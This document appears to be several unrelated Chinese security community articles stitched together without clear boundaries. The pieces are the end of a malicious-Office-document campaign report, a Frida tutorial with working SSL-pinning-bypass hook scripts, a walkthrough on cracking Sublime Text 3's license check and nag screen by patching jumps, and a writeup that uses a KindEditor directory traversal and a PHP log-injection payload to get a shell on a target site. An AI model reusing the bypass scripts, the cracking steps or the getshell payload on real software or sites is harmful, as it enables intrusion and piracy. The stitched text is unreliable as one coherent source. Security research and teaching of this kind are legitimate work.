电子邮件的正文（内容）和主题均与更经典的网络钓鱼方案有关，例如，发起业务的请求，附件提供了“详细信息”。观察到的主题概述可以在下面看到，请注意，某些主题已被各自的邮件网关更改：
* 回复：需要报价/
* 报价量和重量为首选
* **_*_ SPAM ***** FW：Offer_10044885_ [companyname] _2_09_2020.xlsx *
* [怀疑的垃圾邮件]替代要求*
* 采购订单明细
* 报价请求
图17 –网络钓鱼电子邮件示例。
这种诱使用户打开附件的方法并不是什么新鲜事物，并且没有提供很多其他信息来精确定位针对任何特定组织或行业的广告系列。
但是，通过VirusTotal利用maldocs的公开提交，我们聚集了200多个文档，这使我们能够按提交计数对27个国家/地区进行排名，而无需区分可能通过VPN执行的上传。如图18所示，美国，捷克共和国，法国，德国以及中国等地区占了大多数目标区域。
图18 – VT提交的地理分布。
在分析目标区域的初始文档时，我们主要识别基于英语，西班牙语，中文和土耳其语的图像。
图19 – Maldoc内容分别为中文，土耳其语，西班牙语和英语。
但是，某些图像包含一个有趣的细节：某些文档属性使用西里尔字母，而与图像的主要语言无关。
尽管在多幅图像中观察到了西里尔字母设置，但是在撰写此文章时发现了一个新的恶意文档，这引起了我们的兴趣，因为它似乎是第一个明确冒充医疗保健部门成员的人（“俄亥俄·哈丁纪念医院”），如图20所示。还要注意上述设置：СТРАНИЦА1ИЗ1
; 表示第1页，共1页。
图20 –带有西里尔字母设置的Maldoc内容模拟了“ Ohiohealth Hardin Memorial Hospital”。
此Microsoft Excel文档具有以下详细信息：
**文件名** ： 새 로 운 주 문 _2608.xlsm（韩文：新订单_2608.xlsm）
**MD5** ：551b5dd7aff4ee07f98d11aac910e174
**SHA256** :45cab564386a568a4569d66f6781c6d0b06a9561ae4ac362f0e76a8abfede7bb
**文件大小** ：5.77 KB（5911个字节）
**最早修改内容时间** ： 2020年6月22日14时01分46秒
尽管可以从网上简单地找到来自该医院的模板，然后由攻击者使用，但是这种令人惊讶的操作方式变化似乎与自跟踪开始以来观察到的行为者的不断发展相吻合。
## 评价
根据分析，NVISO评估以下内容：
* 所观察到的威胁行动者已经找到了一种创建恶意Office文档的新方法，该方法可以至少略微减少检测机制。
* 攻击者可能正在尝试和发展其方法，以创建恶意Office文档，从而可能使工作流程自动化。
* 尽管目前的定位似乎很有限，但这些首次投放可能是为了测试而不是全面的广告系列。 提交给VirusTotal的最新检测结果表明，该攻击者可能正在加强其行动。
* 尽管创建恶意文档的方法是唯一的，但有效负载传送和实际有效负载的方法并不是唯一的方法，应该由现代技术加以阻止或检测。
* 有趣的是Xavier Mertens最近在SANS日记中通过VT追踪恶意软件活动[[6]](https://isc.sans.edu/forums/diary/Tracking+A+Malware+Campaign+Through+VT/26498/ "\[6\]")发表的文章。似乎另一位安全研究人员也一直在跟踪这些文档，但是，他们已经从maldocs中提取了VBA代码并上传了该部分。这些模板与PowerShell的下一阶段下载方式有关。
总之，NVISO评估了这种特定的恶意Excel文档创建技术，尽管有效载荷分析通常被认为更有趣，但它可能会被更多地在野外观察到，尽管它被电子邮件网关或分析人员遗漏了。但是，阻止和检测这些类型的新颖性（例如本博客中描述的恶意软件创建）使组织能够在出现激增或类似活动时更快地进行检测和响应。建议部分提供了裁定和指标作为检测手段。
## 推荐建议
* 过滤电子邮件附件和从组织外部发送的电子邮件。
* 实施强大的端点检测和响应防御。
* 创建网络钓鱼意识培训并执行网络钓鱼练习。
* * * | 社区文章 |
> Author:瘦蛟舞
> Create:20180124
[安卓证书锁定解除的工具](https://xz.aliyun.com/t/2098 "安卓证书锁定解除的工具")
对之前发布工具的文章补充,后续还会写一篇证书锁定方案的文章.
目录:
* android下hook框架对比
* 基础设置
* 免root使用frida
* hook java 实战 ssl pinning bypass
* hook native
* some tips
* 推荐工具和阅读
## 0x00 功能介绍竞品对比
[官方主页](http://www.frida.re/)
[github](http://github.com/frida/)
Inject JavaScript to explore native apps on Windows, Mac, Linux, iOS and
Android.
* Hooking Functions
* Modifying Function Arguments
* Calling Functions
* Sending messages from a target process
* Handling runtime errors from JavaScript
* Receiving messages in a target process
* Blocking receives in the target process
相对于xposed或cydia
优势:
* 更改脚本不用重启设备(有些xposed插件也可以做到)
* 对native hook支持较好
* 开发更便捷(简单的模块确实如此)
* 兼容性更好,支持设备和系统版本更广
* 不用单独处理multidex(classLoader问题).
劣势:
* 不适合写过于复杂的项目,影响app性能比较明显
* 需要自己注意脚本加载时机
* 相对容易被检测到,都这样吧.
* app启动后进行attach.可以使用-f参数frida来生成已经注入的进程(先注入Zygote为耗时操作),通常配合--no-pause使用.
* PY JS脚本混杂排错困难(-l 选项直接写js脚本,新版本错误提示已经非常人性化了.)
* E4A这种中文的代码直接GG.
* 不能全局hook也就是不能一次性hook所有app.只能指定进程hook.
## 0x01 基础入门设置
**PC端设置**
python环境
$ pip install -U frida
可选:源码编译
$ git clone git://github.com/frida/frida.git
$ cd frida
$ make
**Android设备设置**
首先下载android版frida-server,尽量保证与fridaServer与pc上的frida版本号一致.
» frida --version
10.6.55
完整frida-server release地址
<https://github.com/frida/frida/releases>
# getprop ro.product.cpu.abi
x86
下一步部署到android设备上:
#!bash
$ adb push frida-server /data/local/tmp/
**跑起来**
设备上运行frida-server:
root@android:/ # chmod 700 frida-server
root@android:/ # /data/local/tmp/frida-server -t 0 (注意在root下运行)
root@android:/ # /data/local/tmp/frida-server
电脑上运行adb forward tcp转发:
adb forward tcp:27042 tcp:27042
adb forward tcp:27043 tcp:27043
27042端口用于与frida-server通信,之后的每个端口对应每个注入的进程.
运行如下命令验证是否成功安装:
#!bash
$ frida-ps -R
正常情况应该输出进程列表如下:
PID NAME
1590 com.facebook.katana
13194 com.facebook.katana:providers
12326 com.facebook.orca
13282 com.twitter.android
…
## 0x02 免root使用frida
针对无壳app,有壳app需要先脱壳.
### 手动完成frida gadget注入和调用.
1.apktool反编译apk
$ apktool d test.apk -o test
2.将对应版本的gadget拷贝到/lib没有了下.例如arm32的设备路径如下.
/lib/armeabi/libfrida-gadget.so
下载地址:
<https://github.com/frida/frida/releases/>
3.smali注入加载library,选择application类或者Activity入口.
const-string v0, "frida-gadget" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
4.如果apk没有网络权限需要在配置清单中加入如下权限申明
<uses-permission android:name="android.permission.INTERNET" />
5.回编译apk
$ apktool b -o newtest.apk test/
6.重新签名安装运行.成功后启动app会有如下日志
Frida: Listening on TCP port 27042
### 使用objection自动完成frida gadget注入到apk中.
兼容性较差,不是很推荐.
» pip3 install -U objection
» objection patchapk -s yourapp.apk
## 0x03 JAVA hook 实战 SSL Pinning bypass
实战如何使用Frida,就较常见的证书锁定来做演练.要想绕过证书锁定抓明文包就得先知道app是如何进行锁定操作的.然后再针对其操作进行注入解锁.
客户端关于证书处理的逻辑按照安全等级我做了如下分类:
安全等级 | 策略 | 信任范围 | 破解方法
---|---|---|---
Level 0 | 完全兼容策略 | 信任所有证书包括自签发证书 | 无需特殊操作
1 | 系统/浏览器默认策略 | 信任系统或浏览内置CA证书以及用户安装证书
(android 7.0开始默认不信任用户导入的证书) | 设备安装代理证书
2 | CA Pinning
Root (intermediate) certificate pinning | 信任指定CA颁发的证书 | hook注入等方式篡改锁定逻辑
3 | Leaf Certificate pinning | 信任指定站点证书 | hook注入等方式篡改锁定逻辑
如遇双向锁定需将app自带证书导入代理软件
文章要对抗的是最后两种锁定的情况(预告:关于证书锁定方案细节另有文章待发布).
注意这里要区分开攻击场景,证书锁定是用于对抗中间人攻击的而非客户端注入,不要混淆.
工具已经开源 : <https://github.com/WooyunDota/DroidSSLUnpinning>
### HttpsURLConnection with a PinningTrustManager
apache http client 因为从api23起被android抛弃,使用率太低就先不管了.
使用传统的HttpURLConnection类封装请求,客户端锁定操作需要实现X509TrustManager接口的checkServerTrusted方法,通过对比预埋证书信息与请求网站的的证书来判断.
<https://github.com/moxie0/AndroidPinning/blob/master/src/org/thoughtcrime/ssl/pinning/PinningTrustManager.java>
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException
{
if (cache.contains(chain[0])) {
return;
}
// Note: We do this so that we'll never be doing worse than the default
// system validation. It's duplicate work, however, and can be factored
// out if we make the verification below more complete.
checkSystemTrust(chain, authType);
checkPinTrust(chain);
cache.add(chain[0]);
}
知道锁定方法就可以hook解锁了,注入SSLContext的init方法替换信任所有证书的TrustManger
// Get a handle on the init() on the SSLContext class
var SSLContext_init = SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom');
// Override the init method, specifying our new TrustManager
SSLContext_init.implementation = function (keyManager, trustManager, secureRandom) {
quiet_send('Overriding SSLContext.init() with the custom TrustManager');
SSLContext_init.call(this, null, TrustManagers, null);
};
### okhttp ssl pinning
okhttp将锁定操作封装的更人性化,你只要在client build时加入域名和证书hash即可.
okhttp3.x 锁定证书示例代码
String hostname = "yourdomain.com";
CertificatePinner certificatePinner = new CertificatePinner.Builder()
.add(hostname, "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
.build();
OkHttpClient client = OkHttpClient.Builder()
.certificatePinner(certificatePinner)
.build();
Request request = new Request.Builder()
.url("https://" + hostname)
.build();
client.newCall(request).execute();
frida Unpinning script for okhttp
setTimeout(function(){
Java.perform(function () {
//okttp3.x unpinning
try {
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(p0, p1){
// do nothing
console.log("Called! [Certificate]");
return;
};
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(p0, p1){
// do nothing
console.log("Called! [List]");
return;
};
} catch (e) {
console.log("okhttp3 not found");
}
//okhttp unpinning
try {
var OkHttpClient = Java.use("com.squareup.okhttp.OkHttpClient");
OkHttpClient.setCertificatePinner.implementation = function(certificatePinner){
// do nothing
console.log("Called!");
return this;
};
// Invalidate the certificate pinnet checks (if "setCertificatePinner" was called before the previous invalidation)
var CertificatePinner = Java.use("com.squareup.okhttp.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(p0, p1){
// do nothing
console.log("Called! [Certificate]");
return;
};
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(p0, p1){
// do nothing
console.log("Called! [List]");
return;
};
} catch (e) {
console.log("okhttp not found");
}
});
},0);
### webview ssl pinning
这种场景比很少见,本文拿一个开源项目举例.
<https://github.com/menjoo/Android-SSL-Pinning-WebViews>
例子中的网站 <https://www.infosupport.com/>
证书已经更新过一次,代码中的证书info是2015年的,而线上证书已于2017年更换,所以导致pinning失效,直接使用pinning无法访问网站.
这个开源项目的锁定操作本质是拦截webview的请求后自己用httpUrlConnection复现请求再锁定证书.貌似和之前一样,但是这里的关键不是注入点而是注入时机!
这个例子和上文注入点一样hook
SSLcontext即可Unpinning,关键在于hook时机,如果用xposed来hook就没有问题,但是用frida来hook在app启动后附加便会失去hook到init方法的时机.因为pinning操作在Activity
onCreate时调用而我们附加是在onCreate之后执行.需要解决能像xposed一样启动前就注入或者启动时第一时间注入.
private void prepareSslPinning() {
// Create keystore
KeyStore keyStore = initKeyStore();
// Setup trustmanager factory
String algorithm = TrustManagerFactory.getDefaultAlgorithm();
TrustManagerFactory tmf = null;
try {
tmf = TrustManagerFactory.getInstance(algorithm);
tmf.init(keyStore);
// Set SSL context
sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, tmf.getTrustManagers(), null);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
} catch (KeyStoreException e) {
e.printStackTrace();
} catch (KeyManagementException e) {
e.printStackTrace();
}
}
首选想到是spawn,但是spawn后并没有将脚本自动load..(
LD_PRELOAD 条件苛刻不考虑),也就是使用-f参数的时候-l参数并未生效.
frida -U -f com.example.mennomorsink.webviewtest2 --no-pause -l sharecode/objectionUnpinning.js
改由python 来完成spawn注入
#!/usr/bin/python
# -*- coding: utf-8 -*- import frida, sys, re, sys, os
from subprocess import Popen, PIPE, STDOUT
import codecs, time
if (len(sys.argv) > 1):
APP_NAME = str(sys.argv[1])
else:
APP_NAME = "sg.vantagepoint.uncrackable3"
def sbyte2ubyte(byte):
return (byte % 256)
def print_result(message):
print ("[!] Received: [%s]" %(message))
def on_message(message, data):
if 'payload' in message:
data = message['payload']
if type(data) is str:
print_result(data)
elif type(data) is list:
a = data[0]
if type(a) is int:
hexstr = "".join([("%02X" % (sbyte2ubyte(a))) for a in data])
print_result(hexstr)
print_result(hexstr.decode('hex'))
else:
print_result(data)
print_result(hexstr.decode('hex'))
else:
print_result(data)
else:
if message['type'] == 'error':
print (message['stack'])
else:
print_result(message)
def kill_process():
cmd = "adb shell pm clear {} 1> /dev/null".format(APP_NAME)
os.system(cmd)
kill_process()
try:
with codecs.open("hooks.js", 'r', encoding='utf8') as f:
jscode = f.read()
device = frida.get_usb_device(timeout=5)
pid = device.spawn([APP_NAME])
session = device.attach(pid)
script = session.create_script(jscode)
device.resume(APP_NAME)
script.on('message', on_message)
print ("[*] Intercepting on {} (pid:{})...".format(APP_NAME,pid))
script.load()
sys.stdin.read()
except KeyboardInterrupt:
print ("[!] Killing app...")
kill_process()
time.sleep(1)
kill_process()
成功Unpinning .(app启动后需要前后台切换一次才会成功hook到init,猜测是因为pinning初始化是在Activity
onCreate时完成的.frida注入onCreate有点问题.<https://github.com/frida/frida-java/issues/29>)
'use strict';
setImmediate(function() {
send("hooking started");
Java.perform(function() {
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
var TrustManager = Java.registerClass({
name: 'com.sensepost.test.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function (chain, authType) {
},
checkServerTrusted: function (chain, authType) {
},
getAcceptedIssuers: function () {
return [];
}
}
});
// Prepare the TrustManagers array to pass to SSLContext.init()
var TrustManagers = [TrustManager.$new()];
send("Custom, Empty TrustManager ready");
// Override the init method, specifying our new TrustManager
SSLContext.init.implementation = function (keyManager, trustManager, secureRandom) {
send("Overriding SSLContext.init() with the custom TrustManager");
this.init.call(this, keyManager, TrustManagers, secureRandom);
};
});
});
日志如下
» python application.py com.example.mennomorsink.webviewtest2
[*] Intercepting on com.example.mennomorsink.webviewtest2 (pid:1629)...
[!] Received: [hooking started]
[!] Received: [Custom, Empty TrustManager ready]
[!] Received: [Overriding SSLContext.init() with the custom TrustManager]
## 0x04 Native hook
没有合适公开的例子,就拿 <https://www.52pojie.cn/thread-611938-1-1.html> 帖子中提到的无法 hook ndk
中 getInt 函数问题来做演示.
ndk代码
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, "hooktest", __VA_ARGS__)
int getInt(int i)
{
return i+99;
}
extern "C" JNIEXPORT jstring JNICALL Java_mi_ndk4frida_MainActivity_stringFromJNI(
JNIEnv *env,
jobject /* this */) {
LOGI("[+] %d\n", getInt(2));
return env->NewStringUTF("Hello from C++");
}
关键在于对指针和函数入口的理解,例子用了偏移寻址和符号寻址两种方式做对比,偏移和导出符号均可通过IDA静态分析取得,最后效果是一样的.
hook 代码
var fctToHookPtr = Module.findBaseAddress("libnative-lib.so").add(0x5A8);
console.log("fctToHookPtr is at " + fctToHookPtr.or(1));
var getIntAddr = Module.findExportByName("libnative-lib.so" , "_Z6getInti");
console.log("getIntAddr is at " + getIntAddr);
var errorAddr = Module.findExportByName("libnative-lib.so","getInt");
var absoluteAddr;
exports = Module.enumerateExportsSync("libnative-lib.so");
for(i=0; i<exports.length; i++){
console.log("exports func " + i + " " + exports[i].name);
if (exports[i].name == "_Z6getInti") {
absoluteAddr = exports[i].address ;
console.log("_Z6getInti addr = " + exports[i].address);
var offset = exports[i].address - Module.findBaseAddress("libnative-lib.so") ;
console.log("offset addr = " + offset.toString(16).toUpperCase() );
}
// exports func 0 _Z6getInti
// exports func 1 Java_mi_ndk4frida_MainActivity_stringFromJNI
// exports func 2 _ZN7_JNIEnv12NewStringUTFEPKc
}
//fctToHookPtr.or(1) , getIntAddr , absoluteAddr are function hook enter address.
try {
var fungetInt = new NativeFunction(fctToHookPtr.or(1), 'int', ['int']);
console.log("invoke 99 > " + fungetInt(99) );
} catch (e) {
console.log("invoke getInt failed >>> " + e.message);
} finally {
}
Interceptor.attach(getIntAddr, {
onEnter: function(args) {
//args and retval are nativePointer...
console.log("arg = " + args[0].toInt32());
// //Error: access violation accessing 0x2
// console.log(hexdump(Memory.readInt(args[0]), {
// offset: 0,
// length: 32,
// header: true,
// ansi: true
// }));
args[0] = ptr("0x100");
},
onLeave:function(retval){
console.log("ret = " + retval.toInt32());
// retval.replace(ptr("0x1"));
retval.replace(222);
}
});
## 0x05 tips
**获取app context**
var currentApplication = Dalvik.use("android.app.ActivityThread").currentApplication();
var context = currentApplication.getApplicationContext();
**创建对象示例**
obj.$new();
**hook 构造方法**
obj.$init.implementation = function (){
}
**实现java接口**
<https://gist.github.com/oleavr/3ca67a173ff7d207c6b8c3b0ca65a9d8>
java接口使用参考,其中X509TrustManager是interface类型.TrustManager为其实现类.manager为实例.
我就成功过这一个接口,其他接口比如Runnable , HostNamerVerifier都没成功.
'use strict';
var TrustManager;
var manager;
Java.perform(function () {
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
TrustManager = Java.registerClass({
name: 'com.example.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function (chain, authType) {
console.log('checkClientTrusted');
},
checkServerTrusted: function (chain, authType) {
console.log('checkServerTrusted');
},
getAcceptedIssuers: function () {
console.log('getAcceptedIssuers');
return [];
}
}
});
manager = TrustManager.$new();
});
**str int指针操作,有点乱**
utf8 string写
`Memory.allocUtf8String(str)`
`var stringVar = Memory.allocUtf8String("string");`
utf8 string读
`Memory.readUtf8String(address[, size = -1])`
int写
`var intVar = ptr("0x100");`
`var intVar = ptr("256");`
int读
`toInt32()`: cast this NativePointer to a signed 32-bit integer
二进制读取
`hexdump(target[, options])`: generate a hexdump from the provided
_ArrayBuffer_ or _NativePointer_ `target`, optionally with `options` for
customizing the output.
## 0x06 推荐工具和阅读
frida api
<https://www.frida.re/docs/javascript-api>
中文翻译
<https://zhuanlan.kanxue.com/article-342.htm>
<https://zhuanlan.kanxue.com/article-414.htm>
工具推荐
appmon : <https://github.com/dpnishant/appmon>
droidSSLUnpinning : <https://github.com/WooyunDota/DroidSSLUnpinning>
objection : <https://github.com/sensepost/objection>
## 0x07 reference
* * *
<https://github.com/datatheorem/TrustKit-Android>
<https://github.com/moxie0/AndroidPinning>
<https://koz.io/using-frida-on-android-without-root/>
<https://medium.com/@appmattus/android-security-ssl-pinning-1db8acb6621e>
<https://developer.android.com/training/articles/security-ssl.html#Pinning>
<https://developer.android.com/training/articles/security-config.html?hl=zh-cn> | 社区文章 |
# 【技术分享】通过逆向工程破解Sublime Text 3
|
##### 译文声明
本文是翻译文章，文章来源：fernandodominguez.me
原文地址：<http://blog.fernandodominguez.me/cracking-sublime-text-3/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **scriptkid**
****](http://bobao.360.cn/member/contribute?uid=2529059652)
**预估稿费：120RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
注：本文并不支持盗版行为，本文的目的仅仅在于学习交流，反编译和破解软件在大多数情况下都是非法的!
OS X的原生软件是由Objective-C语言（C语言的超集，并不难以hack掉）编写的，在本文中，我将尽可能地演示在该平台下的逆向工程基础。
**目标**
我们的目标是阻止Sublime Text时不时提醒购买授权的烦人的弹框（当然，如果你想要使用，那你应该去购买）。我将使用目前的最新版[Sbulime
Text 3114](https://www.sublimetext.com/)（OS X
64-bit）进行演示。为了反编译以及打补丁，我将使用Hopper——一款提供类C伪代码的Mach0和ELF可执行程序的反编译器。
**必要条件**
基础的软件开发经验
基础的汇编知识
基础的C知识
**开始入手**
第一次打开反汇编后的二进制文件时，看起来有点吓人，这里有成吨的代码，而且还是不易于阅读的那种，因此我们需要寻找一个入手点。字符串是一个很好的入手点，因为它们在二进制文件中以ASCII明文形式存在。
在本次案例中，这是一个很棒的思路，因为我们正在做的就是要组织某个字符串的显示。因此，我们将通过Hopper的内建字符串搜索功能来搜索在弹窗中包含的字符串开始做起。
字符串在0x0000000100480a36中被找到，且只被0x0000000100072ad0用到。如果你跳转到该地址，你会发现自己处于一个asm程序片段中。此程序片段就是我们要找的弹框程序片段，因为该程序片段是唯一用到弹框中字符串的。为了更好地理解该程序片段做了什么，我们将使用Hopper的将asm转为伪代码的内建功能。
int maybe_show_nag_screen()() {
if (*(int8_t *)_g_valid_license == 0x0) {
rax = time_now_milliseconds();
rbx = rax;
rax = rax - *maybe_show_nag_screen()::last_show_time; if (rax >= 0xa4cb80) {
*(int32_t *)maybe_show_nag_screen()::count_since_last_nag = *(int32_t *)maybe_show_nag_screen()::count_since_last_nag + 0x1;
rax = rand();
rax = (rax & 0xf) == 0x0 ? 0x1 : 0x0;
rdx = *(int32_t *)maybe_show_nag_screen()::count_since_last_nag;
rcx = rdx <= 0x2 ? 0x1 : 0x0; if (rdx <= 0x8) {
rax = rax & rcx;
COND = rax == 0x0; if (!COND) {
*(int32_t *)maybe_show_nag_screen()::count_since_last_nag = 0x0;
*maybe_show_nag_screen()::last_show_time = rbx;
rax = px_show_message_ok_cancel(0x0, "Hello! Thanks for trying out Sublime Text.nnThis is an unregistered evaluation version, and although the trial is untimed, a license must be purchased for continued use.nnWould you like to purchase a license now?", "This is an unregistered copy", "Purchase"); if (rax != 0x0) {
rax = px_open_url("https://www.sublimetext.com/buy");
}
}
} else {
*(int32_t *)maybe_show_nag_screen()::count_since_last_nag = 0x0;
*maybe_show_nag_screen()::last_show_time = rbx;
rax = px_show_message_ok_cancel(0x0, "Hello! Thanks for trying out Sublime Text.nnThis is an unregistered evaluation version, and although the trial is untimed, a license must be purchased for continued use.nnWould you like to purchase a license now?", "This is an unregistered copy", "Purchase"); if (rax != 0x0) {
rax = px_open_url("https://www.sublimetext.com/buy");
}
}
}
} return rax;
}
代码很明了了，如果_g_valid_license的值为0x0，亦即FALSE，那么弹框就暂时不会被显示出来。接着我们来看看asm。
如果考虑到C的if被编码成了了cmp和一些跳转语句的话，那我们就能很清晰地分析出if语句被包含在如下汇编语句中：
cmp byte [ds:_g_valid_license], 0x0
jne 0x100072b0
因为cmp byte[ds:_g_valid_license, 0x0]是将_g_valid_license与0x0进行比较，然后用jne
0x100072b0跳转到特殊地址——如果比较结果为不等，亦即授权合法，成功跳过了弹框部分。因此，为了让程序不再弹框，我们可以简单地将jne改为jmp让程序强行跳转。我们可以通过Hooper来实现jne行的修改，请记住，一旦你修改了程序，记得对其进行重新标记，因为Hooper将失去跟踪信息。一旦你重新标记了程序，Hooper将会把我们跳过的部分以白色显示，表示为不会再执行到，如果你再次将其转换为伪代码，将变成如下：
int maybe_show_nag_screen()() {
CMP(*(int8_t *)_g_valid_license, 0x0); return rax;
}
这样弹框就不会再打扰你了，但就这样感觉我们什么都没得到不是吗？虽然我们达到了免注册的目的，但是我们既没弄明白授权机制也没能做出注册机。
**进一步探索**
在这部分，我们依旧使用同样的方法。我们知道，如果我们输入了非法的注册码，程序将弹出如下弹框。
这看起来像是可以用来作为初始入手点的字符串。如果我们跳转到引用字符串的程序片段，我们会看到如下内容：
int license_window::on_ok_clicked()() {
r15 = rdi;
TextBuffer::str();
toUtf8(var_30); if ((var_48 & 0x1) != 0x0) { operator delete(var_38);
}
*(int8_t *)_g_valid_license = 0x0; if ((*(int8_t *)_g_license_name & 0x1) == 0x0) {
*(int8_t *)0x100677959 = 0x0;
*(int8_t *)_g_license_name = 0x0;
} else {
*(int8_t *)*0x100677968 = 0x0;
*0x100677960 = 0x0;
}
*(int32_t *)_g_license_seats = 0x0;
rax = var_30 & 0xff; if ((rax & 0x1) == 0x0) {
rax = rax >> 0x1;
} else {
rax = var_28;
} if (rax != 0x0) {
rax = check_license(var_30, _g_license_name, _g_license_seats, var_4C);
*(int8_t *)_g_valid_license = COND_BYTE_SET(E); if (rax == 0x1) {
encode_decode_license(var_30);
get_license_path(); if ((var_68 & 0x1) == 0x0) {
rdi = var_67;
} else {
rdi = var_58;
}
rdx = var_30 & 0xff; if ((rdx & 0x1) == 0x0) {
rsi = var_2F;
rdx = rdx >> 0x1;
} else {
rdx = var_28;
rsi = var_20;
}
rbx = write_file(rdi, rsi, rdx, 0x1); std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::~basic_string(var_68); if (rbx == 0x0) {
r14 = control::get_px_window();
get_license_path();
rax = std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::insert(var_98, 0x0, "Unable to write license file: ");
var_70 = *(rax + 0x10);
rcx = *rax;
var_80 = rcx;
*(rax + 0x10) = 0x0;
*(rax + 0x8) = 0x0;
*rax = 0x0; if ((var_80 & 0x1) == 0x0) {
rsi = var_7F;
} else {
rsi = var_70;
}
px_show_message(r14, rsi); std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::~basic_string(var_80); std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::~basic_string(var_98);
}
create_thread(notify_license_entered_thread(void*), sign_extend_64(var_4C));
rax = var_4C; if ((rax > 0xcf20b) && (rax > 0xab247)) {
rax = control::get_px_window();
px_show_message(rax, "Thanks for purchasing!");
} else {
rax = control::get_px_window();
px_show_message(rax, "Thanks for trying out Sublime Text 3!nnSublime Text 3 is a paid upgrade from Sublime Text 2, and an upgrade will be required for use when 3.0 is released.nnUntil then, please enjoy Sublime Text 3 Beta.");
}
} else { if (rax != 0x4) { if (rax == 0x3) {
rax = control::get_px_window();
px_show_error(rax, "That license key is no longer valid.");
} else { if (rax == 0x2) {
rax = control::get_px_window();
px_show_error(rax, "That license key doesn't appear to be valid.nnPlease check that you have entered all lines from the license key, including the BEGIN LICENSE and END LICENSE lines.");
}
}
} else {
rax = control::get_px_window();
px_show_error(rax, "That license key has been invalidated, due to being shared.nnPlease email [email protected] to get your license key reissued.");
}
}
} else {
get_license_path(); if ((var_B0 & 0x1) == 0x0) {
rdi = var_AF;
} else {
rdi = var_A0;
}
delete_file(rdi); std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::~basic_string(var_B0);
} if (*(r15 + 0x150) != 0x0) { std::__1::function<void (r15 + 0x130);
}
rdi = *(r15 + 0x28);
rax = *rdi;
rax = *(rax + 0x88);
(rax)(rdi);
rax = std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> >::~basic_string(var_30); return rax;
}
现在，如果我们仔细观察可以发现注册码检测位于以下几行代码中：
rax = check_license(var_30, _g_license_name, _g_license_seats, var_4C);
*(int8_t *)_g_valid_license = COND_BYTE_SET(E);
然后程序将根据rax的值做出相应的一个或多个处理动作。通过在if块中包含的字符串进行判断，以下是check_license函数可能的返回值：
0x1：注册码合法，将显示“Thanks for purchasing”消息。
0x2：注册码非法，将显示“That license key doesn't appear to be valid.nnPlease check that
you have entered all lines from the license key, including the BEGIN LICENSE
and END LICENSE lines.”消息。
0x3：注册码已不再可用。
0x4：由于盗版问题，注册码已被取消。
因此，如过我们将if中进行比较的值由0x1改为0x2，那么我们就可以使用任意字符串进行注册了。
回到asm代码中，很明显比较操作位于以下位置：
check_license被调用，然后返回结果(rax)被改为与2进行比较，然后…… | 社区文章 |
一开始拿到目标的站点，主站没找到可以利用的点
进行目标站点使用fofa进行c段查询，随机进行一个访问发现是tp的页面。
找到其后台站点 弱口令登陆成功（但是后台并没有什么功能点无法利用）：
### 目录遍历
这个站点存在一些目录遍历文件
然后就开始疯狂翻文件，看看能不能找到一些有用配置文件信息--
不出意外没有翻到有用的信息，就在此时走投无路没有其他思路的时候，偶然看到了一个公众号发的一篇文章（链接贴在下方）：
> 里面提到KindEditor这个cms存在一个目录遍历漏洞。
> 漏洞发生在file_manager_json.php，这个文件是用来浏览已经上传的文件的
>
>
> $php_path = dirname(__FILE__) . '/';
> ________________________________
> $root_path = $php_path . '../attached/';
> ________________________________
> if (empty($_GET['path'])) {
> $current_path = realpath($root_path) . '/';
> $current_url = $root_url;
> $current_dir_path = '';
> $moveup_dir_path = '';
> }
>
>
> 如果不存在attached目录，realpath($root_path)就为空，$current_path就为/也就是系统根目录，那么浏览文件时就可以看到/etc，/tmp，/var等文件夹了。虽然后面有禁止../的防护，但从根目录开始浏览防护就形同虚设了。
回过头看看刚刚tp泄露的目录好像存在着kindeditor这个东西：
构造payload进行遍历，成功找到此站点的备份源码，下载好进行代码审计：
### 代码审计
class BaseController extends Controller {
public function __construct(){
parent::__construct();
foreach ($_REQUEST as $key => $value) {
$canshu .= $key.'='.$value.'&';
}
$canshu = trim($canshu,'&');
addlog(array('url'=>'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$canshu),'api-'.ACTION_NAME,'接口地址：');
addlog($_REQUEST,'api-'.ACTION_NAME,'接收参数：');
addlog($_FILES,'api-'.ACTION_NAME,'接收文件');
}
function addlog($arr,$name,$description){
error_log ($description.':'.date('Y-m-d H:i:s').'----'.var_export($arr,true).'
',3,"./log/".date('Y-m-d')."-".$name.".php");
}
这里addlog添加路由的log，error_log将错误信息保存到定义的路径文件中，然后log文件又是以php结尾的，那我们构造的payload访问该控制器方法时，加一个不存在的路径
就会将你输入的参数写入文件中，访问文件进行解析。
payload：
payload：/index.php/Api/<a>Base/a?search=<?php phpinfo(); ?>
本地进行测试访问 ：
可以看到本地已经生成log文件了，访问此log文件：
成功getshell。
### 参考链接
